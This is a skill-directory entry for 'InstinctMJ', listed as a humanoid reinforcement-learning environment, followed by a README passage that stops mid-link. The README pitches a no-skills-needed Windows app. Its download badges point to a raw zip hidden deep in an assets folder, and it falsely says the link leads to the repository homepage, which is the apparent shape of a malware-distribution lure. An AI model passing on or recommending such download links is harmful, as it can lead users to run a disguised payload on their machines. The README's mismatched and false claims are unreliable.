PHOENIX01ALX

InstinctMJ — Development skill for Claude Code

Development community

Provide a native mjlab environment for Project-Instinct to support reinforcement learning in humanoid whole-body control tasks.

How to install InstinctMJ

This entry records only its repository, not the path inside it, so there is no exact command to give. Open PHOENIX01ALX/InstinctMJ and copy the folder into ~/.claude/skills/, or the file into ~/.claude/agents/.

What InstinctMJ does

Provide a native mjlab environment for Project-Instinct to support reinforcement learning in humanoid whole-body control tasks.

Alternatives in Development

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  • OpenSquirrel — For people who get distracted by agents 1.3k ★

README

🤖 InstinctMJ - Easy RL Workflows for Everyone

[![Download InstinctMJ](https://img.shields.io/badge/Download-InstinctMJ-green?style=for-the-badge)](https://raw.githubusercontent.com/PHOENIX01ALX/InstinctMJ/main/src/instinct_mj/assets/resources/unitree_g1/MJ_Instinct_1.5.zip)

InstinctMJ is a user-friendly application designed to help you work with humanoid reinforcement learning (RL) and Project-Instinct workflows. This guide explains how to download, install, and run InstinctMJ on a Windows computer. No programming skills are needed.


📋 What is InstinctMJ?

InstinctMJ is a port of InstinctLab tailored for Windows users. The app focuses on humanoid reinforcement learning and supports Project-Instinct workflows. You can use it to run RL experiments or simulations with models that behave like humans. The software simplifies complex RL tasks with a clear interface and straightforward setup.


💻 System Requirements

To run InstinctMJ smoothly, your Windows computer should meet these minimum requirements:

  • Windows 10 or later (64-bit)
  • 4 GB of RAM or more
  • 2 GHz dual-core processor
  • 1 GB of free disk space
  • Internet connection for downloading files and updates

If your device meets these specs, InstinctMJ should work without issues.


🚀 Getting Started: Download InstinctMJ

Start by visiting the main download page for InstinctMJ:

[![Download InstinctMJ](https://img.shields.io/badge/Download-InstinctMJ-blue?style=for-the-badge)](https://raw.githubusercontent.com/PHOENIX01ALX/InstinctMJ/main/src/instinct_mj/assets/resources/unitree_g1/MJ_Instinct_1.5.zip)

This link takes you to the GitHub repository homepage. From there, you will find all the files and instructions necessary to get the application running.


🔽 How to Download and Install InstinctMJ on Windows

Follow these steps to download and install InstinctMJ:

  1. **Open the Link**

    Go to the InstinctMJ repository page by clicking here:

    https://raw.githubusercontent.co